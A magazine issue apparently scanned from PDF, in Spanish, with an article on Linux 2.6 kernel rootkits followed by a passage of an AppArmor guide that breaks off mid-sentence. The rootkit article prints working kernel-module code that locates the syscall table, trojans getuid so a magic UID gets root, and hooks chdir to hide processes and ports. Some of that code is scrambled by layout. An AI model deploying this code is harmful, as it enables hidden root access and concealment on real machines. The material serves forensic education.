Kernel Dinámico Un rootkit que manipule el kernel posee un control mucho mayor del sistema. El kernel sirve información del sistema a los procesos, y luego la presenta al usuario o administrador. La versión 2.2 de Linux y posteriores cargan módulos dinámicos del kernel para proporcionar al administrador la posibilidad de cargar drivers y demás código en tiempo de ejecución, y para eliminar la necesidad de recompilar el kernel y reiniciar. Los rootkits a nivel de kernel aprovechan este vía de ataque para ejecutar código en espacio de kernel [2], eliminando la información que un atacante tuviera que esconder antes de alcanzar el espacio de usuario. El rootkit engaña de esta manera a los programas en ejecución, sin importar si se instalaron posteriormente a quedar comprometido el equipo o con qué librerías se han enlazado. Los excelentemente programados rootkits de kernel de hoy día son casi perfectos maestros del disfraz. Ni las herramientas normales del sistema, ni las históricas herramientas forenses detectan este tipo de manipulación.
WWW.LINUX- MAGAZINE.ES
Métodos de Implementación Los hackers han identificado varios métodos para manipular el kernel e implementar de esta manera un rootkit a nivel de kernel. Entre otras: • remplazar las llamadas al sistema originales con versiones manipuladas (parcheando la tabla syscall), • insertar una nueva tabla de llamadas al sistema, • cambiar los punteros en las estructuras de los sistemas de archivos de root y proc (parcheando el Virtual File System [VFS] [3]), • modificar directamente las estructuras del código del kernel Curiosamente, las técnicas del rootkit no se restringen completamente al hacking de un hacker malicioso . De hecho, los administradores pueden aprovecharse de la capacidad de analizar y monitorizar sistemas haciendo uso de herramientas como Kstat [4] o los módulos como Saint Jude [5]. Otros módulos como Sebek [6] son incluso más parecidos a rootkits, aunque sirven a propósitos útiles dentro de la industria de la seguridad.
El Problema con el Kernel 2.6 El lanzamiento del kernel 2.6 significó un cambio drástico para los creadores de rootkits. A excepción de Adore-NG [7], no existen rootkits para el kernel actual, ni de naturaleza maligna ni benigna. La razón es que los kernels más antiguos usan símbolos para expor-
Rootkits • PORTADA
Figura 1: Las llamadas al sistema proporcionan una interfaz entre los programas en espacio de usuario y el kernel. Libc envuelve el proceso con sencillas funciones de librería.
tar la tabla de llamadas al sistema, haciendo más fácil parchearlas, mientras que Linux 2.6 mantiene las direcciones en secreto. Un hacker necesitaría lo siguiente para parchear una llamada al sistema: • el código fuente del kernel y los archivos creados en la compilación, • un enlace simbólico desde /lib/modules/Kernelversion/build to/usr/src/Kernelversion, • el kernel.conf correspondiente, • un makefile para el rootkit Los usuarios de la distro Gentoo tienen el trabajo más fácil, ya que la arquitectura de Gentoo nos proporciona todo esto.
Tabla de Llamadas al Sistema La tabla de llamadas al sistema define la interfaz entre el espacio de usuario y el espacio del kernel (véase la Figura 1). Una tabla de llamadas al sistema contiene las direcciones de todas las llamadas al sistema. La librería estándar Libc asegura que las llamadas al sistema requeridas se realizan en tiempo de ejecución del programa, mientras el kernel ejecuta las llamadas. El programa en espacio de usuario procesa e interpreta los valores devueltos por las llamadas al sistema. Las llamadas al sistema que ofrece Linux se guardan en el archivo /usr/src/linux/include/asm/unistd.h. unistd.h lista 293 llamadas, con sus posiciones en la tabla, como la de la llamada al sistema leída en la posición 3.
Original y Copia El principio de un rootkit a nivel de kernel es fácil de describir usando el programas ls como ejemplo. El programa se basa principalmente en la llamada al sistema sys_getdents64(). Ésta devuelve los archivos y subdirectorios en el directorio objetivo. El valor devuelto por
Getdents64 se procesa por ls y se envía a las salida estándar. Un kernel sin parchear (véase la Figura 2) devolverá los archivos creados por un atacante _R00t.txt y _R00tbackdoor.sh. Compárese esto con el sistema comprometido mostrado en la Figura 3, donde el atacante ha parcheado la tabla de llamadas al sistema. La nueva llamada al sistema My_getdents64 llama a la rutina original Getdents64. My_getdents64 manipula entonces los valores devueltos por Getdens64, eliminando todo archivo cuyo nombre empiece por _R00t, por ejemplo. Libc le pasa así los resultados manipulados a ls. El programa procesa la información y saca los resultados por la salida están-
dar. Los archivos creados por el atacante se omiten de esta manera de la lista.
Encontrar la Tabla de Llamadas al Sistema Antes de que un rootkit pueda comprometer una llamada al sistema, necesita primero encontrar la tabla de llamadas al sistema. Un método simple pero efectivo es buscar en todo el segmento de información. El rootkit Override [1] verifica cada dirección de memoria en el segmento de información para ver si encuentra allí la tabla de llamadas al sistema (Listado 1). El bucle while de la línea 5 itera por toda dirección que pueda cumplir los requisitos.
Listado 1: Encontrar la Tabla de Llamadas al Sistema 01 int get_sct() { 02
unsigned long *ptr;
03 04
ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);
05
while((unsigned long )ptr < (unsigned long)init_mm.end_data) {
06
if ((unsigned long *)*ptr == (unsigned long *)sys_close) {
07 #ifdef DEBUG 08
printk (KERN_INFO” -> matching detected at %p\n”, ptr);
09 #endif 10
if ( (unsigned long *)*((ptr-__NR_close)+__NR_read)
11
== (unsigned long *) sys_read
12
&& *((ptr-__NR_close)+__NR_open)
13
== (unsigned long) sys_open)
14 15
{ sys_call_table = (void **) ((unsigned long *)(ptr-__NR_close));
16
break;
17
}
18
}
19
ptr++;
20
}
21 22 #ifdef DEBUG 23
printk (KERN_INFO”sys_call_table base found at: %p\n”, sys_call_table);
24 #endif 25
if (sys_call_table == NULL) {
26
return -1;} else {
27
return 1;
28
}
29 30
return -1;
31 }
WWW.LINUX- MAGAZINE.ES
Número 22
13
PORTADA • Rootkits
La búsqueda usa dos llamadas al sistema del conjunto completo de símbolos del kernel exportados como candidatos de prueba. Las direcciones de las llamadas al sistema se conocen (exportadas). Los números que pertenecen a las llamadas del sistema se listan como constantes en /usr/src/linux/include/asm/unistd.h: __NR_open, __NR_close y __NR_read. La línea 6 del Listado 1 verifica si la dirección de sys_close() reside en la dirección de memoria que se está probando en ese momento. La rutina verifica dos entradas más allá en la tabla de llamadas al sistema. La línea 10 usa el índice de la tabla para calcular la dirección de sys_read(). La línea 11 compara el contenido para asegurarse de que ha localizado la dirección de la llamada al sistema Read. Las líneas 12 y 13 hacen lo mismo con Open. Si todas las entradas coinciden, la línea 15 calcula la dirección de comienzo de la tabla de llamadas al sistema. Si no, la línea 19 incrementa el puntero.
Llamadas al Sistema Objetivo Ahora que se conoce la dirección de la tabla de llamadas al sistema, al rootkit se le abren todas las posibilidades. El desarrollador puede ejecutar strace [8] para encontrar qué llamada al sistema necesita manipular para trucar un programa específico. La herramienta lista
Listado 3: Llamada al Sistema con Troyano 01 int my_getuid() { 02
int ret;
03
ret = org_getuid();
04
if (ret == MAGIC_UID) {
05
current->uid = 0;
06
return 0;
07
}
08
return ret;
09 } 10 11 int my_geteuid() { 12
int ret;
13
ret = org_geteuid();
14
if (ret == MAGIC_UID) {
15
current->euid = 0;
16
return 0;
17
}
18
return ret;
19 }
14
Número 22
Listado 2: Salida de Strace 01 execve(“/usr/bin/id”, [“id”], [/* 53 vars */]) = 0 02 uname({sys=”Linux”, node=”localhost”, ...}) = 0 03 open(“/dev/urandom”, O_RDONLY) = 3 04 read(3, “\10Y\vh”, 4) = 4 05 close(3) = 0 06 geteuid32() = 500 07 getuid32() = 500 08 getegid32() = 1000 09 getgid32() = 1000 10 write(1, “uid=500(grid-knight) gid=1000(master)...)
todas las llamadas al sistema usadas por un proceso. El Listado 2 nos da una idea de qué aspecto tiene para id. id escribe el ID real y efectivo del usuario y grupo en la salida estándar: uid=500(grid-knight) U gid=1000(master) U groups=19(cdrom),27(video),U 1003(auditor)
La salida de Strace se envía a stderr. La primera línea del Listado 1 indica que se usa execve(), sin embargo, la llamada al sistema simplemente ejecuta el programa /usr/bin/id. Varias llamadas al sistema Open y Read revelan qué archivos usa id. Pero en nuestro caso, las llamadas al sistema getuid32() y getgid32() son más interesantes, ya que solicitan las IDs actuales del usuario y grupo. id usa la llamada al sistema Write (última línea) para mostrar los resultados en línea de comandos. El descriptor de archivo 1 (el primer parámetro) generalmente apunta a la salida estándar.
Identidad Suplantada La llamada al sistema getuid32() es un objetivo preciado para los rootkits. Una variante comprometida devolvería un ID incorrecto 0 para un usuario con un ID de 6666, dando de esta manera permisos de root. Para ello no es necesario manipular los archivos del sistema (/etc/passwd y /etc/shadow): la información de la cuenta puede incluso obtenerse con un servidor NIS o LDAP. Incluso un administrador extraordinariamente cuidadoso que verifique las bases de datos de los usuarios regularmente probablemente no se dará cuenta del engaño. Para remplazar la llamada al sistema original con nuestra propia implementación, todo lo que necesitamos hacer es insertar la nueva
WWW.LINUX- MAGAZINE.ES
dirección en la tabla de llamadas del sistema. El Listado 3 muestra el código para my_getuid(). Las siguientes líneas guardan la dirección de la rutina original como org_getuid y sobrescribe el puntero a la tabla: org_getuid=sys_call_tableU [__NR_getuid32]; (void *) sys_call_tableU [__NR_getuid32]= U (void *) my_getuid;
La línea 3 del código del Listado 3 permite a la llamada al sistema original descubrir la UID auténtica y comparar así el valor devuelto con la constante MAGIC_UID (que debería estar fijada a 6666). Si los dos valores coinciden, la línea 5 fija la ID de usuario para el proceso actual a 0 y devuelve este valor. En los demás casos, my_getuid() devuelve simplemente el valor de retorno original. Las líneas 11 a 19 muestran un método similar para la ID efectiva del usuario.
Conmutadores Ocultos Esconder procesos y puertos es más complejo. En lugar de codificar en bruto los valores en el rootkit, nuestro código de ejemplo usa conmutadores ocultos en la llamada al sistema chdir(). Cuando el usuario (generalmente el intruso) cambia de directorio a uno secreto y ficticio (ubicado en /dev, por ejemplo), el rootkit captura esta acción y oculta el proceso. En los demás casos, se realiza una llamada normal a chdir. La llamada al sistema chdir modificada en el Listado 4 (en la línea 5) verifica si el usuario quiere cambiar el directorio al sistema de archivos proc, y en este caso, si el usuario selecciona uno de los procesos ocultos (líneas a 15). Si se cumple dicha condición, el rootkit evita que suceda (devuelve el valor -1). Esto engaña a los cazadores de rootkits que
Rootkits • PORTADA
Figura 2: Un sistema sano saca el contenido del directorio (arriba a la derecha) cuando se le solicita por parte de un usuario (ls -la). Para ello, el programa hace la llamada al sistema Getdents64 e interpreta los valores devueltos.
prueban todas las IDs de los procesos en /proc/PID y compara los resultados con la tabla de procesos. Se producen cinco comparaciones con conmutadores ocultos, y se dispara una acción especial si la ruta comienza con un conmutador predefinido. Las líneas 18 a 20 añaden la ID del proceso agregada a la ruta virtual por el atacante a la lista de procesos. Las siguientes tres líneas eliminan toda entrada. Las líneas 46 a 51 contienen el código para ocultar y revelar puertos de red. El código de las líneas 24 a 45 lista los procesos ocultos. Un bucle itera contra el array de procesos a esconder. Si encuentra una entrada (distinta a 0), find_task_by_pid() de la línea 37 localiza la estructura del PID (definida en /usr/include/linux/sched.h). La siguiente línea escribe el PID y el nombre del comando coincidente, task.comm, al área de memoria del kernel. La llamada a copy_to_user() transfiere este área a espacio de usuario, y org_write() escribe el contenido en la salida estándar a través del descriptor de fichero 1.
El Rootkit Override El proyecto Override [1], obra del hacker Newroot y de mí mismo, combina las técnicas discutidas hasta ahora e implementa un completo rootkit de demostra-
ción para el kernel 2.6. Esconde todas las IDs de procesos que queramos y automáticamente también las de sus procesos hijos. En caso necesario, esconde procesos, disfraza puertos de red, asigna privilegios de root a procesos predefinidos por el usuario y esconde cualquier fichero que empiece por un prefijo determinado. La ocultación del rootkit de demostración no es perfecta. Por ejemplo, deja un rastro visible de símbolos del kernel en /proc/kallsyms, que es donde el kernel guarda todos sus
símbolos de kernel.
Alcance Además de parchear las llamadas al sistema, los atacantes pueden acudir a otras técnicas para desarrollar rootkits. Un intruso avezado puede atacar el VFS (Virtual File System) o manipular directamente el código del kernel. Los kits que manipulan el código del kernel pueden funcionar sin el soporte para módulos del kernel, pero será más difícil de implementar si no hacen uso de un módulo del kernel. Sin embargo, la interfaz /dev/kmem usada para este propósito se quitó en el kernel 2.6.14. Una herramienta como Kernel Guard [1] puede casi tapar este agujero, pero en sistemas antiguos es posible también deshabilitar Kernel Guard usando /dev/kmem. Las cosas comienzan a ponerse realmente difíciles para los atacantes cuando el kernel no tiene soporte para módulos. Si preferimos no eliminar esta importante funcionalidad del kernel, Kernel Guard es una simple pero efectiva ayuda. Kernel Guard es un rootkit benigno que modifica las dos llamadas al sistema responsables de cargar y descargar los módulos del kernel. Tras cargar Kernel Guard, nadie (incluyendo los usuarios con privilegios de root) podrán cargar o descargar un módulo en el kernel.
WWW.LINUX- MAGAZINE.ES
Número 22
15
PORTADA • Rootkits
Conclusiones Los programas basados en checksum, como Aide o Tripwire, no pueden ayudarnos en la batalla contra los rootkits a nivel de kernel. Los rootkits manipulan las llamadas al sistema directamente, o en otros lugares del kernel, y esto les proporciona la capacidad de trucar cualquier programa en espacio de usuario. Necesitamos saber cómo funciona exactamente un rootkit para tener alguna oportunidad de descubrir algún rastro revelador de un sabotaje. Dónde tienen que mirar los expertos forenses y qué tendrían que encontrar, depende enormemente del rootkit que estén ■ cazando.
RECURSOS [1] Amir Alsbih, Override Rootkit and Kernel Guard: http://www.informatik. uni-freiburg.de/~alsbiha/code.htm
Listado 4: Conmutador Oculto 01 int my_chdir (char *path) {
29
02
char *ptr=NULL;
31
03
int pid;
04
int i;
05
06
32
if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) { ptr = path + strlen (PROC_STRING); pid = my_atoi (ptr);
08
if (pid > 0) {
09
for (i=0; i<=MAX_HIDE_PIDS; i++) {
10
if (hide_pids[i] != 0) {
11
if (pid ==
[3] Palmers, “Advances in Kernel Hacking”: http://www.phrack.org/phrack/ 58/p58-0x06
14
[4] S0ftpr0ject: http://www.s0ftpj.org/en/ tools.html
16
[5] Saint Jude: http://sourceforge.net/ projects/stjude
18
13
15
17
34 35
}
37
task = find_task_by_pid (hide_pids[i]);
38
snprintf (pidlist, 32, “%d - %s\n”, hide_pids[i], task->comm);
39
copy_to_user (string, pidlist, strlen(pidlist)+1);
40
org_write (1, string, strlen(string)+1);
41
} }
if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) {
43
46
} else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) {
47
ptr = (char *)path + strlen (CHDIR_HIDE_NET);
48
return hide_port(my_atoi(ptr));
ptr = (char *)path + strlen (CHDIR_HIDE_PID);
[8] Strace: http://www.liacs.nl/~wichert/ strace
20
return hide_pid(my_atoi(ptr));
21
} else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) { ptr = (char *)path + strlen (CHDIR_UNHIDE_PID);
23
return unhide_pid(my_atoi(ptr));
24
} else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) {
44
org_brk((char*)mmm);
45
return 0;
49
50
ptr = (char *)path + strlen (CHDIR_UNHIDE_NET);
51
return unhide_port(my_atoi(ptr));
char pidlist[32];
52
26
unsigned long mmm;
53
27
struct task_struct
} else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) {
25
} return org_chdir (path);
54 }
*task; 28
if (hide_pids[i] != 0) {
42
19
22
for (i = 0; i <= MAX_HIDE_PIDS; i++) {
36
}
}
string = (char *)mmm +2;
} }
[7] Adore-NG: http://packetstorm. linuxsecurity.com
Número 22
33
return -1;
[6] Sebek: http://www.honeynet.org/ tools/sebek/
16
org_brk((char*)mmm+32);
hide_pids[i]) { 12
Figura 3: En un sistema comprometido, la llamada al sistema mostrada en la Figura 2 llama a una versión con troyano, My_getdents64, que llama al Getdents64 original, manipula los valores de retorno, y le pasa esos valores al programa de usuario.
30 mmm=current->mm->brk;
07
[2] Halflife, “Abuse of the Linux Kernel for fun and profit”: http://www. phrack.org/phrack/50/P50-05
int i;
char *string;
WWW.LINUX- MAGAZINE.ES
AppArmor • PORTADA
Bloqueo de Intrusos con AppArmor
ARMADO Y PROTEGIDO Cuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo. POR RALF SPENNBERG
L
a visión de Novell sobre AppArmor es la de un sistema de protección efectivo para Linux fácilmente configurable. De acuerdo con el fabricante, AppArmor compite con SELinux, que ha sido parte de la distribución Suse desde hace un tiempo, aunque careciendo de las políticas necesarias para su ejecución. SELinux es comparativamente más difícil de configurar, pero implementa adecuadamente MACs (Mandatory Access Control), AppArmor, sin embargo, se centra en restringir el alcance de las aplicaciones individuales.
herramientas instaladas localmente. Una única vulnerabilidad en el UID root del programa es todo lo que hace falta para que el atacante tome las riendas. Tradicionalmente, los administradores y los webmasters no tenían más alternativa que mantener sus sistemas actualizados y eliminar cualquier lastre, es decir, instalar sólo aquel software que realmente les era necesario. Pero nada de esto puede proteger al sistema contra exploits del día 0, es decir, ataques cuyo objetivo son agujeros de seguridad previamente desconocidos.
La Tarea
AppArmor está diseñado para ayudar a los administradores a montar una trampa. El
Es un hecho desafortunado que muchos programas sufran errores, sobre todo cuando afectan a las aplicaciones web, particularmente sensibles a este problema. La mayoría del software no está programado por especialistas en seguridad, aunque pueda ser públicamente accesible desde la web, lo que hace que sea un blanco fácil para los atacantes. Si uno de ellos encuentra un error de programación en la aplicación, puede explotarlo y ganar de este modo acceso al sistema. Incluso si el atacante sólo compromete una cuenta de usuario estándar, esto sería peligroso para la víctima. La cuenta le proporciona al hacker acceso directo a las
Cómo Funciona
sistema monitoriza la forma en que los procesos acceden a los ficheros, distinguiendo entre accesos de lectura y escritura, así como el uso del privilegio de root. Dependiendo del kernel, Linux puede distinguir entre 29 capacidades (véase man 7 capabilities). Por ejemplo, CAP_KILL se refiere a la capacidad del root para terminar un proceso y CAP_RAW le permite crear paquetes de red arbitrarios. El comando ping necesita disponer de esta capacidad, por ejemplo. La idea de controlar el acceso y las acciones basándose en el programa en vez de en el propietario y/o usuario no es nada nuevo. En los sistemas Free BSD y Linux, Systrace de Niels Provo implementa este
Immunix AppArmor comenzó su carrera como un producto comercial de Immunix, aunque era conocido como Subdomain. Novell adquirió Immunix a mediados de 2005, renombrando Subdomain a AppArmor y licenciando el código bajo la licencia GPL a principios de 2006. Immunix era una vieja conocida de los vendedores de soluciones de seguridad debido especialmente al compilador Stackguard, una modificación de GCC que protege a las aplicaciones de las distintas versiones del ataque “buffer
WWW.LINUX-MAGAZINE.ES
overflow”. Immunix también estaba bastante implicada en el desarrollo de la interfaz LSM (Linux Security Module) para el kernel 2.6. Además de AppArmor, varios sistemas de seguridad, como LIDS (Linux Intrusion Detection System) y el productor competidor SELinux, utilizan la interfaz LSM para inyectar controles donde se necesiten en el kernel. Gracias a LSM no se requiere el uso de parches, lo que no impide que la arquitectura LSM sea un tema de debate en algunos proyectos.
Número 22
17
PORTADA • AppArmor
principio, por ejemplo. Pero mientras Systrace monitoriza las llamadas al sistema (tal y como indica su nombre), AppArmor utiliza el LSM Hooks (véase el cuadro “Immunix”).
Instalación de AppArmor en Linux Novell incluye AppArmor con las ditribuciones comerciales Suse Linux 10.0 y SLES 9 SP3 (Suse Linux Enterprise Server 9, Service Pack 3). Open Suse 10.1 es la variante GPL. Se puede instalar AppArmor en Open Suse 10.0, aunque se requiere un parche del kernel que consume tiempo. De acuerdo con las listas de distribución [2], se espera que Ubuntu y Fedora lo soporten en el futuro. El GUI requiere Yast 2 al tiempo de escribir este artículo. Novell posee diversos paquetes disponibles en Novell Forge [3]. Los RPMs para la versión alpha de Open Suse 10.1 funcionarán en Open Suse 10.0. Se requiere también un kernel con soporte para AppArmor. La mejor solución es utilizar un paquete original del repositorio del kernel [4], por ejemplo, Linux 2.6.15, en combinación con los parches del kernel aa_2.02.6.15.patch y aa_namespace_sem2.6.15.patch. Cuando se ejecuta make oldconfig para la configuración, normalmente se presiona la tecla [Enter] para aceptar los valores por defecto cuando se soliciten. Los pasos individuales se muestran en el Listado 1. En parches posteriores, Novell renombrará la estructura del kernel en Security FS a /sys/kernel/security/apparmor. Security FS ha sido parte del kernel estándar desde la versión Linux 2.6.14.
Comenzar a Tiempo El componente del espacio de usuario de AppArmor ejecuta el servicio del sistema y asigna la política. El script init ha mantenido el nombre del antiguo subdominio: /etc/init.d/subdomain start carga y habilita el módulo del kernel AppArmor. Para permitir al módulo la monitorización de una aplicación, tiene que estar activo antes de que se ejecute la aplicación que se quiera proteger. Esta es la razón por la que debe ejecutarse en el momento del arranque del sistema. La aplicación también necesita un fichero de perfil en /etc/subdomain.d (las próximas distribuciones usarán /etc/apparmor.d). Novell proporciona perfiles para la gran mayoría de comandos críticos, incluyendo
18
Número 22
servidores como Apache (en modo Prefork) y OpenSSH, para las herramientas SBit como ping y man, clientes de red como Firefox y Real Player, visores como Acrobat Reader e incluso para los servicios de protocolos Klogd y Syslogd.
Perfiles Nuevos Si se necesitan crear perfiles nuevos para las aplicaciones puede ser de ayuda el asistente de perfiles basado en Yast, para lo cual, lo primero que necesita saber es a qué programa se le va a crear el perfil. A continuación, el usuario lanza el programa y lo ejecuta como siempre. Es importante utilizar todas las funciones de la aplicación en esta fase. Hay que asegurarse de que no se sufrirá un ataque durante el aprendizaje. Posteriormente AppArmor permitirá todas las características que la aplicación utilice en este momento. Durante esta fase AppArmor aprende las funciones legítimas de la aplicación. Tras cerrarla, el siguiente paso será analizar los eventos registrados por el asistente de perfiles. El asistente sugiere una acción para cada caso. Si el programa monitorizado llama a otro programa, el asistente de perfiles proporcionará las siguientes opciones: Inherit significa que las mismas restricciones se aplican a la nueva aplicación, por ejemplo a kdialog. Profile significa que el programa tendrá su propio perfil. Con Unconfined AppArmor no monitorizará al nuevo proceso y Deny impedirá que se ejecute la aplicación. Para facilitar el proceso de crear y mantener los perfiles, AppArmor utiliza la técnica de inclusión de ficheros. Los ficheros están implementados como librerías abstractas y contienen reglas para las operaciones estándar. Por ejemplo, #include <abstractions/kde> permite acceso a los ficheros de configuración y funciones de KDE. Otros perfiles permiten a los usuarios ejecutar Bash o la resolución de nombres. Después de completar con éxito el asistente, será conveniente reejecutar la aplicación y probarla para ver cómo se comporta bajo la tutela de AppArmor. Si se advierte que algunas funciones no funcionan como se esperaba, habrá que volver a ejecutar el asistente. En este caso, el asistente lee el perfil existente y lo actualiza con los cambios. El Listado 2 proporciona un perfil típico de AppArmor para Kpdf. Después de los comentarios Vim (Suse proporciona un
WWW.LINUX-MAGAZINE.ES
Listado 1: Pasos para la instalación 01 tar xjvf linux-2.6.15.tar.bz2 02 cd linux-2.6.15 03 patch -p1<../aa_2.0-2.6.15.patch 04 patch -p1<../aa_namespace_sem-2.6.1 5.patch 05 make oldconfig 06 make bzImage 07 make modules 08 make modules_install 09 make install 10 rmdir /subdomain 11 ln -s /sys/kernel/security/subdomai n /subdomain
módulo de coloreado de la sintaxis para Vim), el perfil empieza con la ruta a Kpdf; esto especifica qué programa va a gobernar la política. flags=(complain) conmuta el perfil en modo de “queja”, también conocido como modo de aprendizaje. En este modo, AppArmor avisará de las infracciones contra la política pero sin impedir que los eventos se produzcan. Si se conmuta a flags=(enforce) restringirá las capacidades de Kpdf. Las líneas de la 4 a la 10 hacen referencia a diversos ficheros que se van a incluir y las líneas 12 a la 18 listan las rutas a las que el visor de PDF tiene permitido el acceso. Una r tras la ruta y los nombres de los ficheros se refiere a un acceso de lectura, mientras que rw permite tanto los accesos de lectura como la escritura.
Servidores Web AppArmor es particularmente útil en los servidores web. Al contrario que los sistemas LIDS, GR Security, RSBAC o SELinux (Mandatory Access Systems), AppArmor puede monitorizar los hosts virtuales con diferentes perfiles en un servidor web. El servidor web Apache puede modificar los perfiles dependiendo del directorio actual. Novell se refiere a esto como función change_hat. Pero sin algo de ayuda por parte de Apache, AppArmor no sería capaz de averiguar el estado del servidor web. Novell proporciona el módulo mod_change_hat que se encarga de ello (en un futuro el nombre se cambiará por
AppArmor • PORTADA
Figura 1: Squidfire analizando los intentos de acceso registrados por Squid. Para restringir los accesos a los ficheros de registro a esta aplicación web, Apache se ejecuta con mod_change_hat para habilitar el soporte de AppArmor. De esta forma, el sistema de seguridad conoce qué aplicación web está actualmente activa.
mod_apparmor). AppArmor permite a los programas cambiar su contexto de seguridad, aunque sea el servidor web Apache el único programa que tiene implementada esta característica en el momento de esribir este artículo. Un perfil principal de una aplicación puede tener un número arbitrario de subperfiles (denominados hat). La jerarquía está restringida a una capa: los subperfiles no pueden contener otros subperfiles.
Cambio de Sombreros Yast tiene una interfaz gráfica para la gestión de los subperfiles. La herramienta de la línea de comandos es más potente, pero la configuración con Yast es más simple. Las siguientes secciones utilizan la aplicación web Squidfire (Figuras 1 y 6) para describir la variante Yast. Squidfire es un script PHP que hace que los ficheros de registro de Squid sean accesibles y se pueda buscar en ellos. El perfil de AppArmor proporcionado para esta tarea, usr.bin.httpd2-prefork, deniega a Apache, y con ello a Squidfire, el acceso a todos los ficheros de registro, como confirma el siguiente mensaje /var/log/audit/audit.log: type=APPARMOR msg=auditU (1143872666.069:205): U REJECTING r access to U /var/log/squid (httpd2-preforkU (14820) profile /usr/sbinU /httpd2-prefork active U DEFAULT_URI)
Se necesita un subperfil que le proporcione a Squidfire el acceso. Al mismo tiempo, este perfil restringirá este acceso sólo a los ficheros de registro de Squid. Esta precaución impedirá que los usuarios de Squidfire puedan utilizar esta herramienta para evaluar otros ficheros de registros distintos de los de Squid. De nuevo, el asistente de perfiles de Yast gestionará la configuración del subperfil. Cuando se ejecute el asistente, hay que seleccionar a Apache como la aplicación. Esto le indica a AppArmor que permita todas las acciones para este proceso y que registre estas acciones para un análisis posterior. Después de trabajar con la aplicación con el navegador web durante unos minutos, hay que hacer clic en el botón Scan system log for AppArmor events en el asistente de perfiles (Figura 2) para completar la fase de entrenamiento. Si se está entrenando a una aplicación compatible con “change-hat”, el asistente de perfiles sugerirá que se cree un subperfil nuevo (hat).
Límites Estrictos Hay que tener cuidado a la hora de responder a las preguntas que realiza el asistente, particularmente si la aplicación principal realiza llamadas a programas externos. Es lógico dejar que estas aplicaciones hereden el perfil de la aplicación que las invoca. Cuando se añaden imágenes y ficheros CSS, el perfil por defecto de Apache es una elección delicada. Tras realizar una serie de preguntas, el asistente de perfiles conti-
WWW.LINUX-MAGAZINE.ES
núa creando un subperfil en usr.sbin.httpd2-prefork (el Listado 3 muestra una parte). Por defecto, se utiliza la URI para distinguir entre los diferentes subperfiles de Apache dentro del perfil (véase la Línea 2 del Listado 3). Este ejemplo permite a la aplicación web /squid/index.php utilizar Bash y leer varios ficheros del sistema. El Listado 3 también utiliza el componente Squidfire (Lineas 11 a 15) y por último el listado evalúa los ficheros de registro de accesos de Squid y Apache (Líneas 18 y 20). En una inspección más detallada, el subperfil realmente enfatiza cómo son de peligrosas algunas de las acciones de las aplicaciones. La aplicación utiliza obviamente los ficheros con nombres predecibles en el directorio /tmp (Línea 16) y realiza llamadas a comandos externos de la shell (véase la referencia a Bash en la Línea 6. También se puede encontrar el comando tail en la Línea 17).
Distinción de Directorios El módulo mod_change_hat permite organizar los subperfiles de varios hosts virtua-
Listado 2: Perfil Kpdf 01 # vim:syntax=subdomain 02 # Last Modified: Sun Jan 22 10:16:55 2006 03 /opt/kde3/bin/kpdf flags=(complain) { 04 #include <abstractions/authentication> 05 #include <abstractions/base> 06 #include <abstractions/bash> 07 #include <abstractions/gnome> 08 #include <abstractions/kde> 09 #include <abstractions/nameservice> 10 #include <abstractions/user-write> 11 12 / r, 13 /etc r, 14 /etc/X11/.kstylerc.lock rw, 15 /etc/X11/.qt_plugins_3.3rc.lo ck rw, 16 /etc/X11/.qtrc.lock rw, 17 /etc/exports r, 18 /etc/rpc r, 19 <I>[...]<I>
Número 22
19
PORTADA • AppArmor
les a través de las directivas Location y Directory. Los administradores pueden indicarle al módulo la solución que prefieren utilizando las directivas ImmDefaultHatName y ImmHatNamedirectives. El prefijo Imm es una reminiscencia de las raíces de AppArmor, Immunix. En realidad, el módulo ha sido renombrado a mod_apparmor en versiones posteriores, siendo ahora las palabras reservadas AAHatName y AADefaultHatName. ImmDefaultHatName (o AADefaultHatName) selecciona un perfil por defecto para cada servidor virtual. Además, los subperfiles pueden ser asignados a zonas individuales utilizando las directivas Directory o Location. Las siguientes líneas en la configuración de Apache asignarían un “hat” a la aplicación web Squidfire: <Directory U “/srv/www/htdocs/squid”> ImmHatName squidfire </Directory>
Habrá que llamar al subperfil ^squidfire en vez de a ^squidfire/index.php (Línea 2 en el Listado 3). AppArmor proporciona a los administradores de sistemas una nueva solución en el campo de la seguridad de servidores, especialmente en entornos compartidos de hosting donde múltiples clientes comparten un mismo servidor web. La asignación de un “hat” estricto a cada host virtual y la restricción del acceso del “hat” a los ficheros pertenecientes a un único cliente, mitigarán el peligro de los agujeros de seguridad en las
aplicaciones web de los clientes sin poner en peligro al resto de los clientes. Es decir, sería una buena idea comprobar manualmente las políticas para esto o crearlas manualmente desde cero, en vez de confiar en el modo de “queja”, algo que no debe ser muy complicado para la mayoría Figura 2: Para obtener los eventos de AppArmor hay que hacer clic de los administrado- en “Scan system log” y el asistente sugerirá un perfil. res. imágenes, vídeo clips, documentos de ofiConclusiones mática). AppArmor encierra a las aplicaciones críticas Las aplicaciones compatibles con en una caja de arena, restringiendo el acceso “change-hat” pueden incluso gestionar su a ficheros específicos y limitando al sistema estado en tiempo de ejecución, aplicando a ejecutar comandos específicos. diferentes subperfiles según dicte la situaSi resulta que la aplicación contiene ción. Esto añade la posibilidad de definir alguna vulnerabilidad que permita a un ataperfiles para aplicaciones web específicas en cante acceder a la shell o le permita ejecutar los servidores web, aplicando reglas específicomandos con las credenciales de la víccas basándose en la URI, en los hosts virtuatima, entonces AppArmor entra en acción. les o en la ruta de los directorios. No se le permite a la aplicación salirse de la AppArmor ofrece una solución práctica cárcel. Aunque la protección práctica proen el campo de la seguridad de las aplicacioporcionada por una herramienta como nes Linux. La alternativa ofrecida por AppArmor no elimina la vulnerabilidad, el AppArmor es una opción eficiente para los atacante no podrá explotar el agujero de usuarios que no quieran enredarse con la seguridad para hacerse con el control del siscomplejidad adicional de sistemas de seguritema. dad tales como SELinux. Para saber más Este principio protege a una máquina consobre los méritos relativos a AppArmor y tra los exploits que aun no se han detectado, SELinux, véase la comparación AppArmor lo que lo hacé especialmente útil para 